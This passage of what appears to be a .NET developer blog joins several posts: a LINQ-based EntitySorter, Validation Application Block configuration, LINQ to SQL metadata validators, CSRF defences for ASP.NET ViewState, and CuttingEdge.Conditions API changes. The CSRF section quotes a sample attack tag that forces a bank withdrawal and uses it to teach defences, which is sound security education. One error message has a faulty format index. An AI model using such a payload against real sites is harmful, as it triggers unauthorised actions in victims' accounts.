    }

    public static IEntitySorter<T> OrderBy<TKey>(
        Expression<Func<T, TKey>> keySelector)
    {
        return new OrderBySorter<T, TKey>(keySelector,
            SortDirection.Ascending);
    }

    public static IEntitySorter<T> OrderByDescending<TKey>(
        Expression<Func<T, TKey>> keySelector)
    {
        return new OrderBySorter<T, TKey>(keySelector,
            SortDirection.Descending);
    }

    public static IEntitySorter<T> OrderBy(string propertyName)
    {
        var builder = new EntitySorterBuilder<T>(propertyName);

        builder.Direction = SortDirection.Ascending;

        return builder.BuildOrderByEntitySorter();
    }

    public static IEntitySorter<T> OrderByDescending(
        string propertyName)
    {
        var builder = new EntitySorterBuilder<T>(propertyName);

        builder.Direction = SortDirection.Descending;

        return builder.BuildOrderByEntitySorter();
    }

    private sealed class EmptyEntitySorter : IEntitySorter<T>
    {
        public IOrderedQueryable<T> Sort(
            IQueryable<T> collection)
        {
            string exceptionMessage = "OrderBy should be called.";

            throw new InvalidOperationException(exceptionMessage);
        }
    }
}

The snippet above shows the implementation of the EntitySorter<T> facade. As you might have noticed, the class only defines the OrderBy and OrderByDescending methods. ThenBy and ThenByDescending aren't specified here. It makes sense when you think about this, because you always chain the ThenBy call after an OrderBy call, thus ThenBy should be implemented as instance method, or as we'll see shortly, as extension method.

The next snippet shows the extension methods:

public static class EntitySorterExtensions
{
    public static IEntitySorter<T> OrderBy<T, TKey>(
        this IEntitySorter<T> sorter,
        Expression<Func<T, TKey>> keySelector)
    {
        return EntitySorter<T>.OrderBy(keySelector);
    }

    public static IEntitySorter<T> OrderByDescending<T, TKey>(
        this IEntitySorter<T> sorter,
        Expression<Func<T, TKey>> keySelector)
    {
        return EntitySorter<T>.OrderByDescending(keySelector);
    }

    public static IEntitySorter<T> ThenBy<T, TKey>(
        this IEntitySorter<T> sorter,
        Expression<Func<T, TKey>> keySelector)
    {
        return new ThenBySorter<T, TKey>(sorter,
            keySelector, SortDirection.Ascending);
    }

    public static IEntitySorter<T> ThenByDescending<T, TKey>(
        this IEntitySorter<T> sorter,
        Expression<Func<T, TKey>> keySelector)
    {
        return new ThenBySorter<T, TKey>(sorter,
            keySelector, SortDirection.Descending);
    }

    public static IEntitySorter<T> ThenBy<T>(
        this IEntitySorter<T> sorter, string propertyName)
    {
        var builder = new EntitySorterBuilder<T>(propertyName);

        builder.Direction = SortDirection.Ascending;

        return builder.BuildThenByEntitySorter(sorter);
    }

    public static IEntitySorter<T> ThenByDescending<T>(
        this IEntitySorter<T> sorter, string propertyName)
    {
        var builder = new EntitySorterBuilder<T>(propertyName);

        builder.Direction = SortDirection.Descending;

        return builder.BuildThenByEntitySorter(sorter);
    }
}

Again no rocket science. Some things to note is that also the OrderBy and OrderByDescending (that we saw in the EntitySorter<T> class) are defined here. Specifying them as extension methods allows us to write LINQ queries. You can see that the implementation simply calls back to the EntitySorter<T>.OrderBy method.

The classes returned from these methods are internal implementations named OrderBySorter<T, TKey> and ThenBySorter<T, TKey>. The implementations are rather straightforward. On creation, a key selector (a lambda) and a sorting direction are supplied. Their Sort method transforms the supplied collection to a ordered collection. Here are the implementations:

internal class OrderBySorter<T, TKey> : IEntitySorter<T>
{
    private readonly Expression<Func<T, TKey>> keySelector;
    private readonly SortDirection direction;

    public OrderBySorter(Expression<Func<T, TKey>> selector,
        SortDirection direction)
    {
        this.keySelector = selector;
        this.direction = direction;
    }

    public IOrderedQueryable<T> Sort(IQueryable<T> col)
    {
        if (this.direction == SortDirection.Ascending)
        {
            return Queryable.OrderBy(col, this.keySelector);
        }
        else
        {
            return Queryable.OrderByDescending(col,
                this.keySelector);
        }
    }
}

internal sealed class ThenBySorter<T, TKey> : IEntitySorter<T>
{
    private readonly IEntitySorter<T> baseSorter;
    private readonly Expression<Func<T, TKey>> keySelector;
    private readonly SortDirection direction;

    public ThenBySorter(IEntitySorter<T> baseSorter,
        Expression<Func<T, TKey>> selector, SortDirection direction)
    {
        this.baseSorter = baseSorter;
        this.keySelector = selector;
        this.direction = direction;
    }

    public IOrderedQueryable<T> Sort(IQueryable<T> col)
    {
        var sorted = this.baseSorter.Sort(col);

        if (this.direction == SortDirection.Ascending)
        {
            return Queryable.ThenBy(sorted, this.keySelector);
        }
        else
        {
            return Queryable.ThenByDescending(sorted,
                this.keySelector);
        }
    }
}

As you can see the two classes simply use the .NET framework's Queryable class to sort the supplied collection. It couldn't be easier.

Until now, the code was pretty straightforward. However, the API allows sorting based on the name of the property. I extracted this complicated logic to another class: the EntitySorterBuilder<T>. As seen above, the usage of the EntitySorterBuilder<T> is used as follows:

var builder = new EntitySorterBuilder<T>(propertyName);

builder.Direction = SortDirection.Descending;

IEntitySorter<T> sorter = builder.BuildOrderByEntitySorter();

The builder creates OrderBySorter<T, TKey> and ThenBySorter<T, TKey> implementations, using some heavy reflection. Here's the code:

internal class EntitySorterBuilder<T>
{
    private readonly Type keyType;
    private readonly LambdaExpression keySelector;

    public EntitySorterBuilder(string propertyName)
    {
        List<MethodInfo> propertyAccessors =
            GetPropertyAccessors(propertyName);

        this.keyType = propertyAccessors.Last().ReturnType;

        ILambdaBuilder builder = CreateLambdaBuilder(keyType);

        this.keySelector =
            builder.BuildLambda(propertyAccessors);
    }

    private interface ILambdaBuilder
    {
        LambdaExpression BuildLambda(
            IEnumerable<MethodInfo> propertyAccessors);
    }

    public SortDirection Direction { get; set; }

    public IEntitySorter<T> BuildOrderByEntitySorter()
    {
        Type[] typeArgs = new[] { typeof(T), this.keyType };

        Type sortType =
            typeof(OrderBySorter<,>).MakeGenericType(typeArgs);

        return (IEntitySorter<T>)Activator.CreateInstance(sortType,
            this.keySelector, this.Direction);
    }

    public IEntitySorter<T> BuildThenByEntitySorter(
        IEntitySorter<T> baseSorter)
    {
        Type[] typeArgs = new[] { typeof(T), this.keyType };

        Type sortType =
            typeof(ThenBySorter<,>).MakeGenericType(typeArgs);

        return (IEntitySorter<T>)Activator.CreateInstance(sortType,
            baseSorter, this.keySelector, this.Direction);
    }

    private static ILambdaBuilder CreateLambdaBuilder(Type keyType)
    {
        Type[] typeArgs = new[] { typeof(T), keyType };

        Type builderType =
            typeof(LambdaBuilder<>).MakeGenericType(typeArgs);

        return (ILambdaBuilder)Activator.CreateInstance(builderType);
    }

    private static List<MethodInfo> GetPropertyAccessors(
        string propertyName)
    {
        try
        {
            return GetPropertyAccessorsFromChain(propertyName);
        }
        catch (InvalidOperationException ex)
        {
            string message = propertyName +
                " could not be parsed. " + ex.Message;

            // We throw a more expressive exception at this level.
            throw new ArgumentException(message, "propertyName");
        }
    }

    private static List<MethodInfo> GetPropertyAccessorsFromChain(
        string propertyNameChain)
    {
        var propertyAccessors = new List<MethodInfo>();

        var declaringType = typeof(T);

        foreach (string name in propertyNameChain.Split('.'))
        {
            var accessor = GetPropertyAccessor(declaringType, name);

            propertyAccessors.Add(accessor);

            declaringType = accessor.ReturnType;
        }

        return propertyAccessors;
    }

    private static MethodInfo GetPropertyAccessor(Type declaringType,
        string propertyName)
    {
        var prop = GetPropertyByName(declaringType, propertyName);

        return GetPropertyGetter(prop);
    }

    private static PropertyInfo GetPropertyByName(Type declaringType,
        string propertyName)
    {
        BindingFlags flags = BindingFlags.IgnoreCase |
            BindingFlags.Instance | BindingFlags.Public;

        var prop = declaringType.GetProperty(propertyName, flags);

        if (prop == null)
        {
            string exceptionMessage = string.Format(
                "{0} does not contain a property named '{1}'.",
                declaringType, propertyName);

            throw new InvalidOperationException(exceptionMessage);
        }

        return prop;
    }

    private static MethodInfo GetPropertyGetter(PropertyInfo property)
    {
        var propertyAccessor = property.GetGetMethod();

        if (propertyAccessor == null)
        {
            string exceptionMessage = string.Format(
                "The property '{1}' does not contain a getter.",
                property.Name);

            throw new InvalidOperationException(exceptionMessage);
        }

        return propertyAccessor;
    }

    private sealed class LambdaBuilder<TKey> : ILambdaBuilder
    {
        public LambdaExpression BuildLambda(
            IEnumerable<MethodInfo> propertyAccessors)
        {
            ParameterExpression parameterExpression =
                Expression.Parameter(typeof(T), "entity");

            Expression propertyExpression = BuildPropertyExpression(
                propertyAccessors, parameterExpression);

            return Expression.Lambda<Func<T, TKey>>(
                propertyExpression, new[] { parameterExpression });
        }

        private static Expression BuildPropertyExpression(
            IEnumerable<MethodInfo> propertyAccessors,
            ParameterExpression parameterExpression)
        {
            Expression propertyExpression = null;

            foreach (var propertyAccessor in propertyAccessors)
            {
                var innerExpression =
                    propertyExpression ?? parameterExpression;

                propertyExpression = Expression.Property(
                    innerExpression, propertyAccessor);
            }

            return propertyExpression;
        }
    }
}

The EntitySorterBuilder<T> does a few interesting things. First of all it creates a list of property accessors (getter methods), based on the property names. For instance, it creates a list of two getter methods when the following string is supplied: "Address.City". Next it generates a lambda expression (the keySelector) based on the list of property accessors, in the following form: 'e => e.[Property1].[Property2]'). After that, it creates a new OrderBySorter<T, TKey> or ThenBySorter<T, TKey> with the generated lambda expression as constructor argument and returns it.

I hope this EntitySorter<T> comes in handy to some of you. I has already served me well over the last year.

I just created an CodePlex project that contains the code shown above. The code on CodePlex has additional error checking, (xml) comments and more descriptive variable names. So don't copy-paste the code from this blog; just browse directly to the source code, by clicking here.

The project also contains an EntityFilter<T> class (here the code) that allows filtering of collections. Just like the EntitySorter<T> it allows creation using LINQ queries, like this:

IEntityFilter<Person> entityFilter =
    from person in EntityFilter<Person>.AsQueryable()
    where person.Name.StartsWith("a")
    where person.Id < 100
    select person;

Happy sorting and filtering!

Luckily the Enterprise Library allows you to choose alternative configuration files using the IConfigurationSource interface. Later more on this, but first here is how you put the VAB configuration in it’s own file:

Start by adding a new configuration file to on of your projects (most likely on of your business layer projects). After you created it, change the "Copy to Output Directory" property to "Copy if newer" by right-clicking on the file and choosing ‘properties’. This will enable the configuration file to be copied to the output directory, which isn't the default option.

After you've created the file you can simply add validation configuration the way you're used to using the Enterprise Library Configuration tool by right clicking on the configuration file and selecting "Edit Enterprise Library Configuration", or by editing the file by hand.

Choosing "Copy if newer" for the validation configuration file has no effect in conjunction with Visual Studio Unit Tests. So the last step to take is to configure the test system to copy that file. The standard way to do this is by specifying the deployment items in the .testrunconfig file. You can do this by going to Test / Edit Test Run Configurations / Deployment. You can use the "Add File..." button to add the configuration file. The image below shows the deployment tab with a validation.config added.

<UPDATE 2010-01-06>
I forgot to mention how to exactly let the VAB know you replaced the configuration file.

You need to create an instance of a type implementing IConfigurationSource and supply it to an overload of the ValidationFactory.CreateValidator method. Using a configuration file named "validation.config", the following code snippet can be used to create a Validator based on that configuration:

string ruleSet = string.Empty;

IConfigurationSource configurationSource =
    new FileConfigurationSource("validation.config");

var validator = ValidationFactory.CreateValidator(type, ruleSet,
    configurationSource);

Or when using the IEntityValidator approach used in part 4 of my VAB series, the VABEntityValidator would look like this:

using System;
using System.Collections.Generic;
using System.Linq;
using Microsoft.Practices.EnterpriseLibrary.Common.Configuration;
using Microsoft.Practices.EnterpriseLibrary.Validation;

sealed class VABEntityValidator : IEntityValidator
{
    private static IConfigurationSource ConfigurationSource =
       new FileConfigurationSource("validation.config");

    public IEnumerable<ValidationResult> Validate(
        IEnumerable<object> entities)
    {
        return
            from entity in entities
            let type = entity.GetType()
            let validator = CreateValidator(type)
            let results = validator.Validate(entity)
            where !results.IsValid
            from result in results
            select result;
    }

    private static Validator CreateValidator(Type type)
    {
        string ruleSet = string.Empty;

        return ValidationFactory.CreateValidator(type, ruleSet,
            ConfigurationSource);
    }
}

</UPDATE>

Happy validating!

What's nice about LINQ to SQL (L2S) is that it adds all sort of metadata to the generated entities. Two things that come to mind are the maximum length of a database varchar column and whether a column can contain null values or not. While the Validation Application Block (VAB) has validators for these types of constraints (the NotNullValidator and StringLengthValidator), adding them manually can be cumbersome. Automating away boring labour is always welcome. In this article I'll show you how, while building on top of the solution presented in the previous articles.

Please note that Entity Framework (EF) adds much less metadata to its generated entities. With EF you still have to add those validations using the VAB configuration (also remember this when migrating from L2S to EF). However, the future of EF is bright and EF 4.0 will allow you to specify your own T4 template and therefore completely control the shape of the generated code.

In part 1 and part 2 I defined the EntityValidator class. Before writing the code for the validations, let's first change the EntityValidator class, so it becomes more flexible for these and possible future changes:

using System;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.Linq;
using System.Reflection;

interface IEntityValidator
{
    IEnumerable<ValidationResult>
        Validate(IEnumerable<object> entities);
}

public static class EntityValidator
{
    private static readonly IEntityValidator[] Validators;

    static EntityValidator()
    {
        var types = Assembly.GetExecutingAssembly().GetTypes();

        var validators =
            from type in types
            where !type.IsAbstract
            where typeof(IEntityValidator).IsAssignableFrom(type)
            select (IEntityValidator)Activator.CreateInstance(type);

        Validators = validators.ToArray();
    }

    public static void Validate(object context,
        IEnumerable<object> entities)
    {
        using (new ContextScope(context))
        {
            var invalidResults = (
                from validator in Validators
                from result in validator.Validate(entities)
                select result).ToArray();

            // Throw an exception when there are invalid results.
            if (invalidResults.Length > 0)
            {
                throw new ValidationException(invalidResults);
            }
        }
    }
}

This new EntityValidator implementation uses a plug-in model, where different validation modules can be added without any changes to existing code (The Open/Closed principle). The plug-ins must implement the IEntityValidator interface. The static constructor of the EntityValidator loads all available plug-ins by searching for all types in the same assembly that implement the IEntityValidator interface. All found types will be instantiated and added to a static list.

Note that there are of course other possible implementations. For instance, a dependency injection framework (such as my own Simple Injector) could be used to retrieve the list of IEntityValidator implementations or you could create a plug-in model where the application loads assemblies located in a plugin directory (but I wouldn't advice this last option in this scenario). I chose this particular implementation, because it’s both flexible and just a few lines of code (less code is important, because this plug-in model isn’t the subject of this post).

The EntityValidator.Validate method uses the static list of Validators and invokes each validator's Validate method. The validate method returns a collection of VAB ValidationResult objects, one for each failed validation rule. The Validate method has become even simpler than it was before. All framework dependent validations are now extracted from this method, which is good. What is left is the infrastructure.

Note that there is a little tweak from the previous implementation: The previous implementations used a collection of ValidationResults objects (a ValidationResults object is a staticly typed collection of ValidationResult objects). In this new implementation we directly use a collection of ValidationResult objects. The extra grouping made things more difficult than strictly needed.

What we need to do next is to create some implementations of the IEntityValidator interface. Let's start with the VAB validation infrastructure:

using System;
using System.Collections.Generic;
using System.Linq;
using Microsoft.Practices.EnterpriseLibrary.Common.Configuration;
using Microsoft.Practices.EnterpriseLibrary.Validation;

sealed class VABEntityValidator : IEntityValidator
{
    public IEnumerable<ValidationResult> Validate(
        IEnumerable<object> entities)
    {
        return
            from entity in entities
            let type = entity.GetType()
            let validator =
                ValidationFactory.CreateValidator(type)
            let results = validator.Validate(entity)
            where !results.IsValid
            from result in results
            select result;
    }
}

This code should look pretty familiar. It's the code that was part of the EntityValidator.Validate method in part 1. With this code our solution is back to it’s old behavior.

Let's now define an entity validator that uses the LINQ to SQL metadata to validate properties that must not contain a null value:

using System.Collections.Generic;
using System.Data.Linq.Mapping;
using System.Linq;
using System.Reflection;

class LinqToSqlNullPropertyValidator : IEntityValidator
{
    public IEnumerable<ValidationResult> Validate(
        IEnumerable<object> entities)
    {
        return
            from entity in entities
            from result in GetValidationResultsFor(entity)
            select result;
    }

    private static IEnumerable<ValidationResult>
        GetValidationResultsFor(object entity)
    {
        var properties = entity.GetType().GetProperties();

        return
            from property in properties
            where property.GetValue(entity, null) == null
            where !PropertyCanBeNull(property)
            select new ValidationResult("The value cannot be null.",
                entity, property.Name, null, null);
    }

    private static bool PropertyCanBeNull(PropertyInfo property)
    {
        object[] columnAttributes = property.GetCustomAttributes(
            typeof(ColumnAttribute), true);

        if (columnAttributes.Length == 0)
        {
            return true;
        }
         
        var column = (ColumnAttribute)columnAttributes[0];
        return column.IsDbGenerated || column.CanBeNull;
    }
}

<Update 2010-03-07>
There was a problem concerning database generated columns. I fixed a bug in the LinqToSqlNullPropertyValidator by checking the IsDbGenerated property.
</Update>

This relatively simple class uses LINQ extensively. Did I tell you how much I love LINQ for its expressiveness? :-). The class iterates all supplied entities and for each entity iterates its public properties to check whether it has been marked with a ColumnAttribute. If the attribute is found and it’s CanBeNull property is false while the actual property value is null, a ValidationResult will be added to the returned collection.

While validating for null values is useful, checking the string length of a property would be even more useful. Here’s the code to do this:

using System;
using System.Collections.Generic;
using System.Data.Linq.Mapping;
using System.Linq;
using System.Reflection;

class LinqToSqlMaximumFieldLengthValidator : IEntityValidator
{
    public IEnumerable<ValidationResult> Validate(
        IEnumerable<object> entities)
    {
        return
            from entity in entities
            from result in GetMaxLengthErrorsFor(entity)
            select result;
    }

    private static IEnumerable<ValidationResult>
        GetMaxLengthErrorsFor(object entity)
    {
        var properties = entity.GetType().GetProperties();

        return
            from property in properties
            where property.PropertyType == typeof(string)
            let value = (string)property.GetValue(entity, null)
            let length = value == null ? 0 : value.Length
            where length > 0
            let maximumLength = GetMaximumLength(property)
            where length > maximumLength
            select BuildResult(entity, property, maximumLength);
    }

    private static ValidationResult BuildResult(object entity,
        PropertyInfo property, int maximumLength)
    {
        const string FormatMessage =
            "The length of the value must be less " +
            "or equal to {0} characters.";

        string message =
            string.Format(FormatMessage, maximumLength);

        return new ValidationResult(message, entity,
            property.Name, null, null);
    }

    private static int GetMaximumLength(PropertyInfo property)
    {
        ColumnAttribute attribute =
            GetColumnAttribute(property);

        if (attribute == null)
        {
            return Int32.MaxValue;
        }

        string dbType = attribute.DbType;

        if (!IsTruncatableTextType(dbType))
        {
            return Int32.MaxValue;
        }

        int leftBracketIndex = dbType.IndexOf("(");
        int rightBracketIndex = dbType.IndexOf(")");

        try
        {
            string length = dbType.Substring(leftBracketIndex + 1,
                rightBracketIndex - leftBracketIndex - 1);

            return int.Parse(length);
        }
        catch (SystemException ex)
        {
            string message = string.Format(
                "Property {0} of type {1} has a {2} defined " +
                "with a DbType with value '{3}'. The maximum " +
                "length of that text field can not be extracted.",
                property.Name, property.DeclaringType,
                typeof(ColumnAttribute), dbType);

            throw new InvalidOperationException(message, ex);
        }
    }

    private static ColumnAttribute GetColumnAttribute(
        PropertyInfo property)
    {
        object[] columnAttributes =
            property.GetCustomAttributes(typeof(ColumnAttribute), true);

        if (columnAttributes.Length == 0)
        {
            return null;
        }

        return ((ColumnAttribute)columnAttributes[0]);
    }

    private static bool IsTruncatableTextType(string dbType)
    {
        StringComparison ignoreCase =
            StringComparison.InvariantCultureIgnoreCase;

        return
            dbType != null && (
            dbType.StartsWith("Char", ignoreCase) ||
            dbType.StartsWith("NChar", ignoreCase) ||
            dbType.StartsWith("VarChar", ignoreCase) ||
            dbType.StartsWith("NVarChar", ignoreCase));
    }
}

This class is slightly more complicated than the previous one, but the concept is the same. The class iterates all supplied entities and for each entity iterates the entity's public string properties to check whether its value's length is longer than the maximum that is specified in the ColumnAttribute. The DbType property of the ColumnAttribute specifies the length of the string. Problem here is that the DbType property is a string and the maximum string length is buried within that string, which might be defined as: "NVarChar(15) NOT NULL". That's why some dirty string splitting is going on.

Note that this is a bit naive implementation and it might be slow. I could imagine the class to cache the needed metadata to improve performance, but I leave this as an exercise for the reader.

<UPDATE 2010-01-31>
I did some testing to compare the difference between the naive implementation and one that caches the metadata and I did this by validating 10.000 Employee entities (since Employee is the biggest entity in the Northwind domain). I measured an overhead of 0.5 ms per validated Employee entity on my dev box. This isn't that much, but a cached approach might be useful in situations where you validate large sets of entities.
</UPDATE>

Conclusion

As you can see, after doing a bit refactoring, adding support for automatic validation according to the generated metadata is a breeze.

Happy validating.

Wikipedia has a good example of a CSRF attack where the attacker uses an HTML image tag to transmit a command in the context of the logged in user:

<img src="http://bank.example/withdraw?account=bob&amount=1000000&for=mallory">

For this attack to be successful, the bank.example website must allow execution of commands through HTTP GET operations. One of the easiest ways in preventing CSRF attacks is preventing any mutations through GET operations. Only post backs should be able to trigger any transaction or change any state. This eliminates this particular type of CSRF attacks.

Disallowing GET for mutations however, is not enough. There is a second type of CSRF and it uses post backs. By creating a malicious (possibly hidden) form in a web page, the bad guy would trick the victim or the victim's browser into posting the form to your website. While it's easy to understand that PHP websites are vulnerable to this type of attack, sometimes .NET developers have the misconception that ASP.NET is safe, because the ViewState protects them. Well, the ViewState can protect you, but it doesn’t do so by default.

As you know, the ASP.NET ViewState is this block of Base64 encoded data, containing the state of a web page, sent to the browser for storage between two requests. This data will be sent back to the web server on each post back. With a normal configuration, the ViewState data is not encrypted and can be read by anyone who wishes to. However, because the ViewState contains a hash value (when EnableViewStateMac is set to true, which is the default), it's practically impossible for it to be tampered with. A post back will only succeed if the ViewState is of an exact form. The nature of CSRF attacks doesn't enable the attacker to steal the user's ViewState from a page. But what developers often don't realize is that the ViewState isn't user specific (by default). Therefore, an attacker with access to the website (for instance when he has a user account) can simply copy the page's ViewState and use it to build the HTML form of his malicious web page.

When that form is posted to the website from the victim's browser, the ASP.NET website will, as always, validate that ViewState. However, because that ViewState isn't tampered with, the ViewState's hash is still valid for that particular page and the page is executed. When the user is logged in at that time, the CSRF attack is successful.

Mitigating the risk

There are several ways to mitigate the risk. The easiest way is by using the Page's ViewStateUserKey property. You can set this property in the page's Init event. What will happen is that ASP.NET will use this value to generate the ViewState MAC (which is the hash for the ViewState). This means that when the user key changed on a post back, the validation for the MAC will fail and a HttpException will be thrown. The following example shows how to implement this protection in a web page:

protected void Page_Init(object sender, EventArgs e)
{
    // Validate whether ViewState contains the MAC fingerprint
    // Without a fingerprint, it's impossible to prevent CSRF.
    if (!this.Page.EnableViewStateMac)
    {
        throw new InvalidOperationException(
            "The page does NOT have the MAC enabled and the view" +
            "state is therefore vulnerable to tampering.");
    }

    this.ViewStateUserKey = this.Session.SessionID;
}

There are a few short comes to this solutions however. First of all, while using a SessionID is very safe, this means post backs wouldn't survive a AppDomain recycle. So it might be better to use the user name as user key. This however makes the ViewState valid for an infinite amount of time, which might be a risk that's to great. And while this mechanism works with pages that are protected by a login, it has some issues with public pages.

Public pages can be accessed by people without a user name (or who's user name isn't known yet). The anonymous user name (presumably an empty string) will be used as ViewStateUserKey and will therefore be used by ASP.NET to generate the MAC. However, when a user posts back that page after she logged in (for instance when the user opened multiple tabs in her browser) the user name changed and the MAC validation fails.

When you expect your users to work with multiple tabs, and have a site that uses both public as private pages, it prevents you from using the presented code in a base page from which all pages in your application inherit. The mechanism might be fine though when defining a 'SecureBasePage' that implements this mechanism. All pages that must be protected by login can inherit from this page.

This mechanism doesn't help you in protecting public pages. However, we should question the use of that. Public pages are accessible by everybody and they therefore shouldn't be able to change your application's state in the first place (except perhaps for things like a poll). Trying to protect something that's insecure by definition might be strange. Of course you have to think about what pages and data you give public exposure, but that is something you will hopefully find in the functional specs and it's not specific to CSRF. Also be careful by using public pages that add functionality once a user is logged in. It's hard to protect those type of pages against CSRF.

A different approach

A few months ago, when helping a client of mine with some security issues in one of their web applications, I implemented a different approach. The CSRF prevention mechanism had to be implemented in the base page, but the system was based on a internal framework that used one single aspx page for all its functionality (both public and login protected) in the application (mostly based on dynamic loading of user controls). This basically rendered the use of the ViewStateUserKey useless. What I came up with was an alternative mechanism, that stored the user name and a DateTime in the ViewState (in the control state to be more precise). This allowed the ViewState to be user specific and have a expiration time that was beyond a possible AppDomain recycle. Next, because the user name wasn't used to generate the ViewState MAC, I was able to do an alternative check and throw a more specific exception message on failure. I also allowed the validation to succeed when the user name, stored in the ViewState, or the currently logged in user name where unknown. This allowed the system to work properly when users posted back public pages with a login or logout in between. The solution looked much like this:

using System;
using System.Security;
using System.Web.UI;

public abstract class CsrfBasePage : System.Web.UI.Page
{
    // Expiration time of 12 hours.
    private static readonly TimeSpan ExpirationTime =
        new TimeSpan(0, 12, 0, 0);

    private string controlStateUserName;
    private DateTime controlStateGenerationDate;

    protected override void OnInit(EventArgs e)
    {
        this.RegisterRequiresControlState(this);
        base.OnInit(e);
    }

    protected override void LoadControlState(object savedState)
    {
        Pair controlStatePair = (Pair)savedState;

        Pair csrfData = (Pair)controlStatePair.First;

        this.controlStateUserName = (string)csrfData.First;
        this.controlStateGenerationDate = (DateTime)csrfData.Second;

        base.LoadControlState(controlStatePair.Second);
    }

    protected override void OnLoad(EventArgs e)
    {
        this.PreventPostbackCSRF();

        base.OnLoad(e);
    }

    protected override object SaveControlState()
    {
        // The control state is used to store user name and date time.
        // Control state is part of the view state, but it's impossible
        // to disable it, so this solution will also work when the
        // viewstate is disabled.
        string currentUserName = UserRepository.GetCurrentUserName();
        DateTime controlStateGenerationTime = DateTime.Now;

        Pair csrfData = 
            new Pair(currentUserName, controlStateGenerationTime);

        return new Pair(csrfData, base.SaveControlState());
    }

    private void PreventPostbackCSRF()
    {
        // Validate whether ViewState contains the MAC fingerprint
        // Without a fingerprint, it's impossible to prevent CSRF.
        if (!this.Page.EnableViewStateMac)
        {
            throw new InvalidOperationException(
                "The page does NOT have the MAC enabled and the view" +
                "state is therefore vurnerable to viewstate tampering.");
        }

        if (this.IsPostBack)
        {
            string currentlyLoggedInUserName = 
                HttpContext.Current.User.Identity.Name;

            ValidateUserName(currentlyLoggedInUserName);

            ValidateGenerationDate();
        }
    }

    private void ValidateUserName(string loggedInUser)
    {
        bool userIsValid = this.controlStateUserName == loggedInUser;
        bool pageIsPublic = this.IsCurrentPagePublic(loggedInUser);

        if (!userIsValid && !pageIsPublic)
        {
            string message = string.Format(
                "A possible Cross-site Request Forgery attack " +
                "is detected. ViewState was generated by user " +
                "'{0}', but the current user is '{1}'.",
                controlStateUserName, loggedInUser);

            throw new SecurityException(message);
        }
    }

    private bool IsCurrentPagePublic(string loggedInUser)
    {
        // Because it's impossible to tamper with the view state, when
        // either the control state user name or the actual username
        // are null or empty, the current page must be a public page.
        return String.IsNullOrEmpty(this.controlStateUserName) ||
            String.IsNullOrEmpty(loggedInUser);
    }

    private void ValidateGenerationDate()
    {
        if (this.IsViewStateTooOld)
        {
            throw new SecurityException("The ViewState is expired.");
        }
    }

    private bool IsViewStateTooOld
    {
        get
        {
            DateTime expirationTime =
                this.controlStateGenerationDate + ExpirationTime;

            return expirationTime < DateTime.Now;
        }
    }
}

While the implementation with the ViewStateUserKey is much easier, the code above fixes the short comes of the ViewStateUserKey and will hopefully serve some of you.

UPDATE 2010-11-18: Please use this post for its education value. Instead of using the article's code however, please visit the AntiCSRF project on CodePlex. It use a much cleaner approach that doesn't depend on inheriting from a base class.

• An expanded white list that supports more languages.
• Performance improvements.
• Support for Shift_JIS encoding for mobile browsers.
• Security Runtime Engine (SRE) HTTP module.
• HTML Sanitization methods to strip dangerous HTML scripts.

    WARN IF Count > 0 IN SELECT METHODS
    WHERE IsDirectlyUsing "System.DateTime.get_Now()"
    OR IsDirectlyUsing "System.DateTime.get_Today()"
    OR IsDirectlyUsing "System.DateTime.get_UtcNow()"

For the complete list of changes, please visit the release tab on CodePlex.

A lot of work has gone into the building of CuttingEdge.Conditions. The project currently consists of 5163 lines of code, 1653 lines in the library and 3510 lines in the unit test project, (thanks to NDepend for counting) and a massive amount of 1275 unit tests with a test coverage of 100% (thanks to NCover for the support). The library consists of 376 extenstion methods for 43 different checks.

Happy validating!

Today I want to write about another breaking change that I'll be making in the coming stable release of CuttingEdge.Conditions: I'm removing the Otherwise<TException> methods from the library.

The Otherwise<T> method overloads let users define the exception type that has to be thrown. Normally the library throws an ArgumentException (using Requires) or PostconditionException (using Ensures). Sometimes however, it's useful to throw another exception type and with the beta releases, CuttingEdge.Conditions lets you do this.

The name of the Otherwise method is based on Spec# (SpecSharp). I looked closely at the Spec# language, while designing CuttingEdge.Conditions. Besides requires and ensures, Spec# defines an otherwise keyword. One of the requirements I had in the initial design of Conditions was to use the same terminology as Spec#.

There are however, two problems with Otherwise:

1. The name of the method doesn't properly describe its intend.

While Otherwise follows Spec#, I noticed developers find the name confusing. While documentation helps, I think it’s name can be improved. This means that I break with the initial requirement of staying close to Spec#, but I think this is okay. It could take years before Spec# (or its syntax) becomes mainstream I think it’s better to make a library that’s usable right now.

2. The use isn't intuitive, which leads to programming mistakes.

Perhaps it's the lack of proper documentation, lack of proper code samples, or simply a quirk in the design, but I recently experienced developers writing code like this:

Condition.Requires(x)
    .IsNotNull()
    .Otherwise<InvalidOperationException>();

The developers who wrote this code, expected an InvalidOperationException to be thrown when x was null. This is not the case however. This code throws an ArgumentNullException. The Requires(), Ensures(), and Otherwise() methods return an object that will be passed to validation methods such as the IsNotNull() method in the snippet above. That object determines the exception type to be thrown. When the Otherwise is specified last, the object it returns will never get used. The right way to write this is:

Condition.Requires(x)
    .Otherwise<InvalidOperationException>()
    .IsNotNull();

The problem however is that this is perhaps not as intuitive as I had expected.

For these two reasons I'm not sure the current implementation is the right one. However, it's not clear to me what the correct design is. I'm finalizing the first stable release of the library at the moment. Leaving the current implementation in, means I can never change or remove it, without introducing a breaking change in a stable product. This would possibly lead to many angry users, which is something I like to prevent.

While I know I might frustrate users of the current beta release, for most of them, Otherwise is a rarely used feature. Therefore I think it's better to remove it before the stable release and let the user community participate in an improved design of the otherwise feature.

The consequence of this change is that users will have to revert to using old fashion ‘if (...) throw ex’ statements in these situations. Although I published some code that could be added to your code base that fixed the breaking change I discussed two days ago, this isn’t possible in this case. It’s not possible to supply code that will prevent you from making changes throughout your code base.

But if you’re so hooked on this way of validating that you don’t want to go back to old fashion throw statements, please participate and let us together get a better implementation. Also if you’re really interested, I have an implementation with a slightly different syntax, that you actually can use in your own code base. If you’re interested, let me know.

Cheers

I’m removing the extension method behavior of the Requires() and Ensures() entry point methods.

This means that the following syntax is not supported anymore:

    x.Requires().IsNotNull();

Instead the snippet above has to be written as follows:

    Condition.Requires(x).IsNotNull();

This decision is controversial, because the whole concept of the library was based on this initial syntax and I know many developers like this fluent way of writing validations. There are however several issues with this syntax, so please bear with me, as I’ll try to explain why I decided to make this change.

The coming stable release of CuttingEdge.Conditions will contain this change.

Please note that this post also supplies some code that you can add to your project that allows you to revert to the old syntax.

Five reasons to change

There are mainly five reasons why I decided to drop the extension behavior on the Requires() and Ensures() entry point methods.

1. Not all .NET languages fully support the old syntax.

